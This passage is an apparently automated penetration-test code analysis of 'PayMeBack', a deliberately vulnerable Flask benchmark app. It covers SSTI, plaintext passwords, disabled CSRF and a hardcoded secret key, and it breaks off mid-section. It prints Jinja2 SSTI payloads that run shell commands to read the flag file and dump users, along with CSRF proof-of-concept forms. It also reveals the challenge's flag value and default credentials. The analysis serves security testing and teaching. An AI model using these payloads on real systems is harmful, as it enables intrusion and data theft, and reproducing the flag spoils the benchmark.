# Code Analysis Deliverable: PayMeBack Flask Application

**Application Name:** PayMeBack  
**Target:** XBEN-093-24  
**Analysis Date:** 2025-10-29  
**Network Access:** Port 5093 (Docker), Port 5003 (Internal)  
**Application Type:** Monolithic Flask Web Application  

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), verification was performed to meet the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`)
- A development environment's internal tooling (e.g., a "run script" button in an IDE)
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static files or scripts that require manual opening in a browser (not served by the application)

**Excluded Components:** The following were identified but excluded from scope:
- `templates/article.html` - No route handler exists for this template, not network-accessible
- Docker health check (`curl -f http://localhost:5003`) - Infrastructure health check, not user-accessible
- PhantomJS binary - Installed but never imported or used in application code
- Flag file operations in `__main__` block - Only executed during server initialization, not triggered by user requests

---

## 1. Executive Summary

PayMeBack is a **Python Flask-based transaction management web application** with a **critical security posture** requiring immediate remediation. The application allows authenticated users to track financial transactions between individuals and send payment reminders. The analysis uncovered **5 CRITICAL vulnerabilities**, including a Server-Side Template Injection (SSTI) vulnerability that enables Remote Code Execution (RCE), plaintext password storage, and deliberately disabled CSRF protection.

**Critical Security Findings:**
- 🔴 **Server-Side Template Injection (SSTI)** in `/remind` endpoint - Remote Code Execution capability
- 🔴 **Plaintext Password Storage** - No cryptographic hashing whatsoever
- 🔴 **Hardcoded Secret Key** - Session forgery and authentication bypass possible
- 🔴 **CSRF Protection Disabled** - All state-changing operations vulnerable
- 🔴 **Debug Mode Enabled** - Interactive debugger accessible in production
- 🔴 **Default Credentials** - Hardcoded `user:user` credentials auto-created

**Attack Surface Overview:**
The application exposes 6 network-accessible HTTP endpoints (2 public, 4 authenticated). The most critical attack vector is the `/remind` endpoint, which combines user-controlled input with `render_template_string()`, allowing authenticated attackers to execute arbitrary Python code. Combined with default credentials and a hardcoded secret key, the application can be completely compromised within minutes.

**CTF Flag Intelligence:**
- **Location:** `/app/flag.txt` (inside Docker container)
- **Source:** Environment variable `FLAG` from `.env` file: `flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}`
- **Access Method:** Exploit SSTI vulnerability to read flag file via Python code execution
- **Attack Chain:** Login with `user:user` → Navigate to `/remind?date={{SSTI_PAYLOAD}}` → Execute `os.popen('cat /app/flag.txt').read()`

**Overall Risk Assessment:** This application represents an **imminent security threat** and should NOT be deployed to production without comprehensive security remediation. The combination of RCE, credential compromise, and missing defense-in-depth controls creates multiple critical exploitation paths.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Primary Technology Stack:**
- **Language:** Python 3.8.17 (approaching end-of-life, last security support October 2024)
- **Framework:** Flask 3.1.1 with Werkzeug 3.0.6
- **Web Server:** Werkzeug development server (**CRITICAL:** running in production with `debug=True`)
- **Template Engine:** Jinja2 (Flask default)
- **Database:** SQLite 3.x with SQLAlchemy ORM
- **Authentication:** Flask-Login (session-based)
- **CSRF Library:** Flask-WTF (imported but disabled)

**Security Implications:**
The application uses **end-of-life base images** and dependencies. Python 3.8 reaches end-of-life in October 2024, and the Docker image is based on Debian Buster (archived, no longer receiving security updates). The Werkzeug development server is explicitly documented as unsuitable for production use, lacking critical security features like request rate limiting, connection pooling, and DDoS protection. The most egregious issue is `debug=True` on line 119 of `app.py`, which exposes an interactive debugger that can be exploited for Remote Code Execution if the debugger PIN is obtained.

**Dependencies (requirements.txt):**
```
Flask
Flask-SQLAlchemy
flask_login
flask_wtf
```

**CRITICAL VULNERABILITY:** No version pinning in `requirements.txt`. This creates dependency confusion risks and unpredictable behavior across deployments. The absence of version specifications means that different installations could pull different versions with varying security properties.

**Deprecated Component:** The Dockerfile installs **PhantomJS** (line 12), a headless browser project that was abandoned in 2016 and contains numerous known security vulnerabilities. While it's installed, it is never imported or used in the application code, suggesting it may be leftover from previous development.

---

### Architectural Pattern

**Type:** Monolithic Web Application (single-process Flask application)

**Structure:**
```
┌─────────────────────────────────────────┐
│     Network Layer (HTTP :5093)          │
│         ↓                                │
│  Werkzeug Dev Server (debug=True)       │
│         ↓                                │
│  ┌────────────────────────────────┐     │
│  │   Flask Application (app.py)   │     │
│  │  ┌──────────────────────────┐  │     │
│  │  │ Presentation Layer       │  │     │
│  │  │ (Jinja2 Templates)       │  │     │
│  │  └──────────────────────────┘  │     │
│  │  ┌──────────────────────────┐  │     │
│  │  │ Business Logic Layer     │  │     │
│  │  │ (Route Handlers)         │  │     │
│  │  └──────────────────────────┘  │     │
│  │  ┌──────────────────────────┐  │     │
│  │  │ Data Access Layer        │  │     │
│  │  │ (SQLAlchemy ORM)         │  │     │
│  │  └──────────────────────────┘  │     │
│  └────────────────────────────────┘     │
│         ↓                                │
│  SQLite database.db                      │
│  (file-based, no encryption)             │
└─────────────────────────────────────────┘
```

**Trust Boundaries Identified:**

1. **External → Application Boundary:**
   - Entry Point: HTTP requests to port 5093
   - Trust Level: Untrusted user input
   - Validation: **NONE** (no input validation middleware)
   - Controls: Flask-Login authentication (but weak implementation)

2. **Application → Database Boundary:**
   - Entry Point: SQLAlchemy ORM queries
   - Trust Level: Application-controlled SQL via parameterization
   - Validation: ORM parameterization (SQL injection protected)
   - Controls: Foreign key constraints, user_id filtering

3. **Application → File System Boundary:**
   - Entry Point: Flag file operations (`flag.txt`)
   - Trust Level: Application has full file system access
   - Validation: **NONE**
   - Controls: File system permissions only

4. **Client → Server (Session) Boundary:**
   - Entry Point: Session cookies signed with secret_key
   - Trust Level: Client-side signed cookies
   - Validation: HMAC-SHA256 signature verification
   - Controls: **WEAK** (hardcoded secret key, no HttpOnly/Secure flags)

**Architectural Security Implications:**

The monolithic architecture creates a **single point of failure** with no service isolation. A compromise of the web application provides direct access to all business logic, database, and file system resources. There is no microservices separation, no network segmentation, and no defense-in-depth layering. The application runs as a single Python process with full access to the SQLite database file and flag file.

**Attack Surface Concentration:** All authentication, authorization, business logic, and data access occur within a single 119-line Python file (`app.py`). This tight coupling means that a single vulnerability (such as the SSTI) can compromise the entire system. There are no internal security boundaries or privilege separation mechanisms.

---

### Critical Security Components

**1. Authentication Framework: Flask-Login**
- **Location:** `app.py` lines 7, 14-15, 47-49
- **Configuration:**
  ```python
  login_manager = LoginManager(app)
  login_manager.login_view = 'login'
  ```
- **Security Assessment:** The authentication framework itself is properly implemented, using the `@login_required` decorator to protect sensitive endpoints. However, the underlying credential verification mechanism is **critically flawed** due to plaintext password storage.
- **Session Lifetime:** 5 minutes (`app.permanent_session_lifetime = timedelta(minutes=5)`)
- **Session Storage:** Client-side signed cookies (no server-side session store)
- **Weakness:** Session cookies lack `HttpOnly`, `Secure`, and `SameSite` flags, making them vulnerable to XSS-based session theft and CSRF attacks.

**2. CSRF Protection: Flask-WTF (DISABLED)**
- **Location:** `app.py` lines 7, 18-21
- **Configuration:**
  ```python
  app.config['WTF_CSRF_ENABLED'] = False  # CRITICAL VULNERABILITY
  csrf = CSRFProtect()
  csrf.init_app(app)
  ```
- **Security Assessment:** **CRITICAL FAILURE** - CSRF protection is imported, initialized, but **deliberately disabled**. This is a conscious security decision that exposes all state-changing operations to Cross-Site Request Forgery attacks. An attacker can craft malicious HTML pages that submit forms to `/login`, `/add_transaction`, or `/logout` on behalf of authenticated victims.

**3. Data Protection: SQLAlchemy ORM**
- **Location:** `app.py` lines 3, 13, 16
- **Configuration:**
  ```python
  app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
  app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
  db = SQLAlchemy(app)
  ```
- **Security Assessment:** The ORM provides adequate protection against SQL injection through parameterized queries. All database operations use `.filter_by()` with keyword arguments, which are automatically parameterized by SQLAlchemy. **However**, the database itself has no encryption at rest, and the most sensitive data (passwords) is stored in plaintext.

**4. Session Security**
- **Secret Key:** `app.secret_key = 'U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*('` (line 10)
- **CRITICAL VULNERABILITY:** Hardcoded secret key in source control
- **Algorithm:** Flask uses `itsdangerous` library with HMAC-SHA256 for session signing
- **Weakness:** The secret key appears to be a keyboard-walked pattern rather than cryptographically secure random bytes. If this key is compromised, attackers can forge session cookies for any user.

**5. Missing Security Components:**
The following critical security components are **NOT implemented**:
- ❌ Password hashing (bcrypt, argon2, PBKDF2)
- ❌ Input validation framework
- ❌ Rate limiting (Flask-Limiter)
- ❌ Security headers middleware (Flask-Talisman)
- ❌ Content Security Policy (CSP)
- ❌ HTTPS enforcement
- ❌ Web Application Firewall (WAF)
- ❌ Audit logging
- ❌ Intrusion detection

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

**Primary Authentication Flow:**

The application implements a simple username/password authentication system with **critical security flaws**. The authentication mechanism is located in the `/login` endpoint (`app.py` lines 55-68):

```python
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']  # No validation
        password = request.form['password']  # No validation
        user = User.query.filter_by(username=username, password=password).first()
        if user:
            login_user(user)
            return redirect(url_for('transactions'))
        else:
            flash('Invalid credentials, please try again.')
    return render_template('login.html')
```

**CRITICAL VULNERABILITY - Plaintext Password Storage:**

The User model (`app.py` lines 24-27) stores passwords as plaintext strings:
```python
class User(db.Model, UserMixin):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), nullable=False, unique=True)
    password = db.Column(db.String(100), nullable=False)
```

The password verification on line 60 performs a **direct plaintext comparison** in the database query itself:
```python
user = User.query.filter_by(username=username, password=password).first()
```

This approach has catastrophic security implications:
1. **Database Breach Impact:** Any compromise of the SQLite database file immediately exposes all user passwords in cleartext
2. **No Computational Defense:** Attackers can instantly use stolen credentials without cracking hashes
3. **Password Reuse Risk:** Users who reuse passwords across services are immediately compromised on all platforms
4. **Compliance Violation:** Violates GDPR Article 32 (Security of Processing), PCI DSS Requirement 8.2.1, and OWASP Top 10 A02:2021 (Cryptographic Failures)

**Authentication API Endpoints:**

| Endpoint | Method | Purpose | Authentication Required | Security Issues |
|----------|--------|---------|------------------------|-----------------|
| `/login` | GET | Display login form | No | CSRF protection disabled |
| `/login` | POST | Process credentials | No | Plaintext passwords, no rate limiting, CSRF vulnerable |
| `/logout` | GET | Terminate session | Yes | Should be POST, CSRF vulnerable |

**CRITICAL ISSUE - Default Credentials:**

The application automatically creates a default user account on database initialization (`app.py` lines 39-42):
```python
if not User.query.filter_by(username='user').first():
    user = User(username='user', password='user')
    db.session.add(user)
    db.session.commit()
```

**Credentials:** `username=user`, `password=user`

This hardcoded account is created on every fresh database initialization, providing an immediate authentication bypass for attackers. Combined with plaintext storage, this represents a **critical authentication failure**.

**Authentication Weaknesses Summary:**
- ❌ No password hashing (bcrypt, argon2, PBKDF2, scrypt)
- ❌ No password complexity requirements
- ❌ No password length validation
- ❌ No account lockout mechanism
- ❌ No rate limiting (brute force attacks trivial)
- ❌ No multi-factor authentication (MFA)
- ❌ No password reset functionality
- ❌ No audit logging of login attempts
- ❌ Default credentials hardcoded

---

### Session Management and Token Security

**Session Configuration:**

Flask-Login uses **client-side signed session cookies** for authentication state management. The session configuration is minimal:

```python
app.secret_key = 'U@T!F*G(EBDOUNIX_PWU)VBDY$%^&*('  # Line 10
app.permanent_session_lifetime = timedelta(minutes=5)  # Line 11
```

**Session Cookie Security Flags Analysis:**

**CRITICAL FINDING:** No explicit security flags are configured for session cookies. The application does NOT set:
- `SESSION_COOKIE_HTTPONLY` - Defaults to `True` in Flask, but should be explicitly set
- `SESSION_COOKIE_SECURE` - **NOT SET** - Cookies can be transmitted over unencrypted HTTP
- `SESSION_COOKIE_SAMESITE` - **NOT SET** - CSRF attacks are more feasible

**Exact Location Where Cookie Flags Should Be Set:**

**File:** `app.py`  
**Missing Configuration (should be added after line 11):**
```python
app.config['SESSION_COOKIE_HTTPONLY'] = True   # Prevent JavaScript access
app.config['SESSION_COOKIE_SECURE'] = True     # Require HTTPS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # CSRF protection
```

**Impact of Missing Flags:**
1. **No Secure Flag:** Session cookies are transmitted over HTTP in cleartext, vulnerable to man-in-the-middle (MITM) attacks. An attacker on the same network can intercept cookies and hijack sessions.
2. **No SameSite Flag:** The browser will send session cookies with cross-site requests, making CSRF attacks easier (compounded by disabled CSRF protection).
3. **HttpOnly Status:** Flask defaults `HttpOnly` to `True`, but this is not explicitly verified. If overridden elsewhere or in deployment configuration, XSS attacks could steal session cookies.

**Session Storage Mechanism:**

Flask uses **client-side sessions** by default, storing session data in signed cookies using the `itsdangerous` library. The session data is:
- **Not encrypted** (only signed with HMAC-SHA256)
- **Readable by clients** (base64-encoded)
- **Tamper-evident but not confidential**

The hardcoded `secret_key` on line 10 is used for HMAC signing. If this key is compromised (which it is, being in source control), attackers can:
1. Forge session cookies for any user
2. Bypass authentication entirely
3. Impersonate admin accounts (if they existed)

**Session Lifetime:** 5 minutes (`timedelta(minutes=5)`)

This short session timeout is a **positive security control**, reducing the window for session hijacking. However, it creates poor user experience and does not compensate for the other session security failures.

**User Loader Function:**

The Flask-Login user loader (`app.py` lines 47-49) retrieves the authenticated user:
```python
@login_manager.user_loader
def load_user(user_id):
    with app.app_context():
        return db.session.get(User, int(user_id))
```

This implementation is secure, using integer user IDs and database lookups. However, the underlying authentication system's weaknesses undermine this security.

---

### Authorization Model and Potential Bypass Scenarios

**Authorization Model Type:** **Single-Tier Role-Less Authorization**

The application implements a binary authorization model: **authenticated vs. unauthenticated**. There are no user roles (admin, user, guest), no permissions system, and no fine-grained access controls. Every authenticated user has identical privileges.

**Protected Endpoints:**

All sensitive operations require authentication via the `@login_required` decorator:

| Endpoint | Authorization | Data Isolation | Bypass Risk |
|----------|---------------|----------------|-------------|
| `/logout` | `@login_required` (line 72) | N/A | None |
| `/add_transaction` | `@login_required` (line 78) | User-scoped | None |
| `/transactions` | `@login_required` (line 93) | User-scoped | None |
| `/remind` | `@login_required` (line 101) | User-scoped | **SSTI RCE** |

**Data Isolation Analysis:**

The application implements **row-level security** for transactions using foreign keys and filtered queries:

**Transaction Creation (`app.py` lines 81-86):**
```python
uid = current_user.id  # Get authenticated user's ID
user = User.query.filter_by(id=uid).first()
new_transaction = Transaction(name=name, email=email, amount=amount, user_id=user.id)
```
✅ **SECURE:** Transactions are automatically associated with the authenticated user. No way to specify another user's ID.

**Transaction Retrieval (`app.py` lines 95-97):**
```python
uid = current_user.id
user = User.query.filter_by(id=uid).first()
transactions = Transaction.query.filter_by(user_id=user.id).all()
```
✅ **SECURE:** Users can only view their own transactions. Foreign key constraint enforces data ownership.

**Authorization Bypass Scenarios:**

1. **Session Forgery (CRITICAL):**
   - **Scenario:** Attacker obtains the hardcoded `secret_key` from source control
   - **Method:** Use `itsdangerous` to forge session cookies with arbitrary `user_id`
   - **Impact:** Complete authentication bypass, access any user's data
   - **Likelihood:** HIGH (secret key is in Git repository)

2. **CSRF-Based Authorization Bypass (HIGH):**
   - **Scenario:** Authenticated user visits attacker-controlled website
   - **Method:** Attacker submits forms to `/add_transaction` or `/logout` on victim's behalf
   - **Impact:** Unauthorized transaction creation, forced logout
   - **Likelihood:** HIGH (CSRF protection explicitly disabled)

3. **SSTI-Based Privilege Escalation (CRITICAL):**
   - **Scenario:** Attacker authenticates (using default credentials `user:user`)
   - **Method:** Exploit SSTI in `/remind` to execute `User.query.all()` and dump all users
   - **Impact:** Access to all user data, database manipulation, RCE
   - **Likelihood:** CRITICAL (direct exploitation path exists)

4. **No Admin Lockout:**
   - **Scenario:** No account lockout mechanism exists
   - **Method:** Brute force login with common passwords
   - **Impact:** Account takeover via credential stuffing
   - **Likelihood:** HIGH (no rate limiting)

**IDOR (Insecure Direct Object Reference) Analysis:**

✅ **NOT VULNERABLE:** The application does NOT expose transaction IDs in URLs or forms. All transaction access is filtered by `user_id`, preventing horizontal privilege escalation between users.

**Missing Authorization Controls:**
- ❌ No role-based access control (RBAC)
- ❌ No attribute-based access control (ABAC)
- ❌ No admin/superuser capabilities
- ❌ No permission checking functions
- ❌ No audit logging of authorization decisions
- ❌ No rate limiting on sensitive operations

---

### Multi-Tenancy Security Implementation

The application implements **implicit multi-tenancy** through user-scoped data filtering. Each user is a "tenant" with isolated transaction data.

**Tenant Isolation Mechanism:**
- **Type:** Row-level security via foreign keys
- **Implementation:** SQLAlchemy ORM with `user_id` filtering
- **Enforcement:** Application-level (not database-level constraints)

**Transaction Model (lines 29-34):**
```python
class Transaction(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(100), nullable=False)
    email = db.Column(db.String(100), nullable=False)
    amount = db.Column(db.Float, nullable=False)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
```

The `user_id` foreign key creates a **mandatory relationship** between transactions and users, enforced at the database level by SQLite's foreign key constraints.

**Tenant Separation Assessment:**

✅ **EFFECTIVE:** Users cannot access each other's transactions through normal application flow. The combination of `@login_required` authentication and `user_id` filtering provides adequate tenant separation **within the data access layer**.

**However**, the SSTI vulnerability (line 108) completely bypasses this separation, allowing authenticated attackers to:
- Query the database for all users: `{{User.query.all()}}`
- Access any user's transactions: `{{Transaction.query.filter_by(user_id=2).all()}}`
- Dump the entire database: `{{db.session.query(User).all()}}`

**Tenant Isolation Bypass via SSTI:**
```python
# Attack payload in /remind?date= parameter:
{{''.__class__.__mro__[1].__subclasses__()[200].__init__.__globals__['sys'].modules['app'].User.query.all()}}
```

This demonstrates that **architectural isolation** (separate user data) is meaningless when code injection vulnerabilities exist.

---

### SSO/OAuth/OIDC Flows

**Finding:** ❌ **NO SSO/OAuth/OIDC IMPLEMENTATION**

The application does NOT implement:
- OAuth 2.0 authorization flows
- OpenID Connect (OIDC) authentication
- SAML single sign-on
- Social login (Google, Facebook, GitHub)
- External identity providers

**Authentication Method:** Username/password only (local authentication)

**Implications:**
- No external identity verification
- No delegated authentication
- No centralized identity management
- Single point of authentication failure

**No callback endpoints exist**, and therefore no `state` or `nonce` parameter validation is applicable.

---

## 4. Data Security & Storage

### Database Security

**Database Technology:** SQLite 3.x (file-based embedded database)  
**Location:** `database.db` (relative path in working directory)  
**ORM:** SQLAlchemy (Flask-SQLAlchemy extension)

**Configuration (`app.py` lines 12-16):**
```python
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
```

**Database Security Assessment:**

**Encryption at Rest:** ❌ **NOT IMPLEMENTED**
- SQLite database file is stored unencrypted on the file system
- No use of SQLCipher (SQLite encryption extension)
- No file system-level encryption
- **Impact:** Any attacker with file system access can read the entire database, including plaintext passwords

**Access Controls:** ⚠️ **FILE SYSTEM PERMISSIONS ONLY**
- SQLite has no user authentication or authorization
- Access control relies entirely on file system permissions
- Docker container runs as root (no user isolation)
- **Impact:** Any process within the container can read/write the database

**Query Safety:** ✅ **PROTECTED AGAINST SQL INJECTION**

All database queries use SQLAlchemy ORM with parameterized queries:

| Line | Query | Safety | Vulnerability |
|------|-------|--------|---------------|
| 39 | `User.query.filter_by(username='user').first()` | ✅ Safe | None |
| 60 | `User.query.filter_by(username=username, password=password).first()` | ✅ Safe (parameterized) | Plaintext password comparison |
| 85 | `User.query.filter_by(id=uid).first()` | ✅ Safe | None |
| 96 | `User.query.filter_by(id=uid).first()` | ✅ Safe | None |
| 97 | `Transaction.query.filter_by(user_id=user.id).all()` | ✅ Safe | None |

**No raw SQL execution found.** All queries use ORM methods (`.filter_by()`, `.first()`, `.all()`), which automatically parameterize user input, preventing SQL injection attacks.

**Database Initialization (`app.py` lines 36-42):**
```python
@app.before_request
def create_tables():
    db.create_all()  # Creates tables on EVERY request
    if not User.query.filter_by(username='user').first():
        user = User(username='user', password='user')
        db.session.add(user)
        db.session.commit()
```

**PERFORMANCE ISSUE:** `db.create_all()` is executed on **every HTTP request** (before_request hook). This is inefficient and should be moved to application initialization or a separate migration script.

**Connection Security:** ❌ **N/A FOR SQLITE**
- SQLite is an embedded database (no network connections)
- No TLS/SSL requirements
- No connection pooling

**Backup and Recovery:** ❌ **NOT IMPLEMENTED**
- No automated backup mechanism
- No point-in-time recovery
- No backup encryption
- Database file loss = total data loss

---

### Data Flow Security

**Sensitive Data Flows Identified:**

**1. User Credential Flow (CRITICAL VULNERABILITY):**

```
[User Input: Login Form]
    ↓ (HTTP POST, no HTTPS enforcement)
request.form['username'], request.form['password']
    ↓ (No validation, no sanitization)
User.query.filter_by(username=username, password=password)
    ↓ (Direct plaintext comparison)
[Database: User table, password column - PLAINTEXT]
    ↓
login_user(user)
    ↓
[Session Cookie: Signed with hardcoded secret_key]
```

**Protection Gaps:**
- ❌ No HTTPS enforcement (credentials transmitted in cleartext)
- ❌ No password hashing at any point in the flow
- ❌ No input validation
- ❌ No rate limiting
- ❌ Session cookies lack Secure flag

---

**2. Transaction Data Flow (PII EXPOSURE):**

```
[User Input: Add Transaction Form]
    ↓
request.form['name'], request.form['email'], request.form['amount']
    ↓ (No validation, no sanitization)
Transaction(name=name, email=email, amount=amount, user_id=user.id)
    ↓ (Unencrypted storage)
[Database: Transaction table - PLAINTEXT]
    ↓
Transaction.query.filter_by(user_id=user.id).all()
    ↓
render_template('transactions.html', transactions=transactions)
    ↓ (Jinja2 auto-escaping protects against XSS)
[HTML Output: Email addresses visible in plaintext]
```

**Protection Gaps:**
- ❌ No email address validation (format, syntax, domain)
- ❌ Email addresses (PII) stored in plaintext
- ❌ No field-level encryption
- ❌ No data masking in UI (full email visible)
- ❌ Float type for money (should use Decimal for precision)
- ❌ No amount validation (negative numbers accepted)

---

**3. Session Token Flow:**

```
[Login Success]
    ↓
login_user(user)
    ↓
[Flask-Login Session Creation]
    ↓
itsdangerous.URLSafeTimedSerializer (HMAC-SHA256)
    ↓
Session data signed with app.secret_key
    ↓
[Cookie: session=<base64_payload>.<hmac_signature>]
    ↓ (Transmitted over HTTP, no Secure flag)
[Client Browser Storage]
    ↓ (Sent with every request)
Cookie header → Flask → verify signature → load user
```

**Protection Gaps:**
- ❌ Hardcoded secret key in source control
- ❌ No session encryption (only signing)
- ❌ Session data readable via base64 decoding
- ❌ No Secure flag (MITM attacks possible)
- ❌ No session regeneration on login (fixation attacks)

---

**4. CTF Flag Flow (CRITICAL EXPOSURE):**

```
[Application Startup: __main__ block]
    ↓
os.getenv('FLAG', 'flag{this_is_a_fake_flag}')
    ↓ (.env file: FLAG="flag{7e0416f5-d2b9-4faf-94c2-de7a39664d4c}")
open('flag.txt', 'a')
    ↓
flag_file.write(FLAG)
    ↓
[File System: /app/flag.txt]
    ↓ (Accessible via SSTI vulnerability)
/remind?date={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
    ↓
[Flag Exfiltration]
```

**Protection Gaps:**
- ❌ Flag stored in plaintext file
- ❌ .env file committed to repository
- ❌ No file encryption
- ❌ Fallback flag reveals format
- ❌ SSTI allows arbitrary file reads

---

### Multi-Tenant Data Isolation

**Isolation Mechanism:** Row-Level Security via Foreign Keys

**Implementation:**
- Each Transaction has a `user_id` foreign key (`db.ForeignKey('user.id')`)
- All transaction queries filter by `current_user.id`
- No shared data tables

**Verification:**

**Transaction Creation (`app.py` line 86):**
```python
new_transaction = Transaction(name=name, email=email, amount=amount, user_id=user.id)
```
✅ **SECURE:** Transactions are automatically associated with the authenticated user. No user-controllable `user_id` parameter.

**Transaction Retrieval (`app.py` line 97):**
```python
transactions = Transaction.query.filter_by(user_id=user.id).all()
```
✅ **SECURE:** Users can only see their own transactions. The `user_id` filter ensures data isolation.

**Foreign Key Constraint:**
```python
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
```
✅ **SECURE:** Database-level foreign key constraint prevents orphaned transactions and enforces referential integrity.

**Tenant Isolation Assessment:**

✅ **EFFECTIVE (within normal application flow):** Users cannot access each other's transactions through legitimate database queries.

❌ **BYPASSABLE (via SSTI vulnerability):** The SSTI vulnerability on line 108 allows authenticated attackers to execute arbitrary database queries:
```python
/remind?date={{Transaction.query.all()}}  # All transactions from all users
/remind?date={{User.query.all()}}  # All user accounts
```

**Conclusion:** While the **data model** implements proper isolation, the **code injection vulnerability** completely undermines it.

---

## 5. Attack Surface Analysis

### External Entry Points

The PayMeBack application exposes **6 network-accessible HTTP endpoints**, divided into public (no authentication required) and authenticated (requires valid session cookie).

---

#### **PUBLIC ENDPOINTS (No Authentication Required)**

**1. GET /**
- **File:** `app.py` line 51
- **Function:** `home()`
- **Code:**
  ```python
  @app.route('/')
  def home():  
      return redirect(url_for('login'))
  ```
- **Purpose:** Root endpoint that redirects to login page
- **Input Parameters:** None
- **Attack Vectors:**
  - Open redirect (low risk - redirects to internal `login` route only)
  - No input validation needed (no user input)
- **Security Assessment:** ✅ Minimal attack surface, simple redirect
- **Exploitability:** None

---

**2. GET/POST /login**
- **File:** `app.py` lines 55-68
- **Function:** `login()`
- **Code:**
  ```python
  @app.route('/login', methods=['GET', 'POST'])
  def login():
      if request.method == 'POST':
          username = request.form['username']  # No validation
          password = request.form['password']  # No validation
          user = User.query.filter_by(username=username, password=password).first()
          if user:
              login_user(user)
              return redirect(url_for('transactions'))
          else:
              flash('Invalid credentials, please try again.')
      return render_template('login.html')
  ```
- **Purpose:** Authenticate users and create session cookies
- **Input Parameters:**
  - `username` (form field, no validation)
  - `password` (form field, no validation)
- **Template:** `templates/login.html` (lines 7-17, form submission)
- **Default Credentials:** `user:user` (hardcoded on line 40)

**Attack Vectors:**

1. **Credential Stuffing / Brute Force:**
   - **Severity:** CRITICAL
   - **Method:** No rate limiting, no account lockout, no CAPTCHA
   - **Exploitability:** Direct (public endpoint)
   - **Impact:** Account takeover using credential lists or brute force attacks
   - **PoC:** Use Hydra or Burp Intruder to try common passwords against `username=user`

2. **Plaintext Password Comparison:**
   - **Severity:** CRITICAL
   - **Method:** Line 60 queries database with plaintext password
   - **Impact:** Database breach = immediate credential exposure
   - **Note:** This is not directly exploitable via the network, but exacerbates the impact of any data breach

3. **CSRF Attack on Login:**
   - **Severity:** HIGH
   - **Method:** CSRF protection disabled (line 18)
   - **Exploitability:** Requires victim to visit attacker's page while unauthenticated
   - **Impact:** Login CSRF (attacker logs victim into attacker's account, victim submits data to attacker's account)
   - **PoC:**
     ```html
     <form action="http://target.com/login" method="POST">
         <input name="username" value="attacker">
         <input name="password" value="attacker_pass">
     </form>
     <script>document.forms[0].submit();</script>
     ```

4. **Timing Attack:**
   - **Severity:** LOW
   - **Method:** Line 60 query returns None if user not found, line 62 only executes if user exists
   - **Impact:** Username enumeration via timing differences
   - **Note:** Timing differences may be negligible with SQLite in-memory queries

5. **No Input Sanitization:**
   - **Severity:** MEDIUM
   - **Method:** Username and password taken directly from form (lines 58-59)
   - **Impact:** While SQLAlchemy protects against SQL injection, excessively long inputs could cause DoS
   - **Note:** No length validation (User.username max 100 chars, enforced at DB level only)

**Security Assessment:** 🔴 **CRITICAL** - Multiple high-severity vulnerabilities, publicly accessible, no defensive controls

---

#### **AUTHENTICATED ENDPOINTS (Require Valid Session)**

**3. GET /logout**
- **File:** `app.py` lines 71-75
- **Function:** `logout()`
- **Code:**
  ```python
  @app.route('/logout')
  @login_required
  def logout():
      logout_user()
      return redirect(url_for('login'))
  ```
- **Purpose:** Terminate user session and clear cookies
- **Authentication:** `@login_required` (line 72)
- **Input Parameters:** None (no query params, no form data)

**Attack Vectors:**

1. **CSRF Logout:**
   - **Severity:** MEDIUM
   - **Method:** CSRF protection disabled + GET method used (should be POST)
   - **Exploitability:** Direct (victim visits attacker's page)
   - **Impact:** Forced logout, denial of service
   - **PoC:**
     ```html
     <img src="http://target.com/logout" />
     ```
   - **Note:** GET method for state-changing operations violates HTTP semantics

2. **Session Fixation:**
   - **Severity:** LOW
   - **Method:** No session regeneration on logout
   - **Impact:** If attacker obtains old session cookie, they could potentially reuse it (mitigated by 5-minute timeout)

**Security Assessment:** ⚠️ **MEDIUM** - CSRF vulnerable, but low impact (logout only)

---

**4. GET/POST /add_transaction**
- **File:** `app.py` lines 77-90
- **Function:** `add_transaction()`
- **Code:**
  ```python
  @app.route('/add_transaction', methods=['GET', 'POST'])
  @login_required
  def add_transaction(): 
      if request.method == 'POST':
          uid = current_user.id
          name = request.form['name']      # No validation
          email = request.form['email']    # No validation
          amount = request.form['amount']  # No validation
          user = User.query.filter_by(id=uid).first()
          new_transaction = Transaction(name=name, email=email, amount=amount, user_id=user.id)
          db.session.add(new_transaction)
          db.session.commit()
          return redirect(url_for('transactions'))
      return render_template('add_transaction.html')
  ```
- **Purpose:** Create new transaction records for authenticated user
- **Authentication:** `@login_required` (line 78)
- **Input Parameters:**
  - `name` (form field, no validation)
  - `email` (form field, no validation)
  - `amount` (form field, no validation)
- **Template:** `templates/add_transaction.html` (lines 7-21, form fields)

**Attack Vectors:**

1. **CSRF Transaction Creation:**
   - **Severity:** HIGH
   - **Method:** CSRF protection disabled (line 18)
   - **Exploitability:** Requires authenticated victim to visit attacker's page
   - **Impact:** Unauthorized transaction creation in victim's account
   - **PoC:**
     ```html
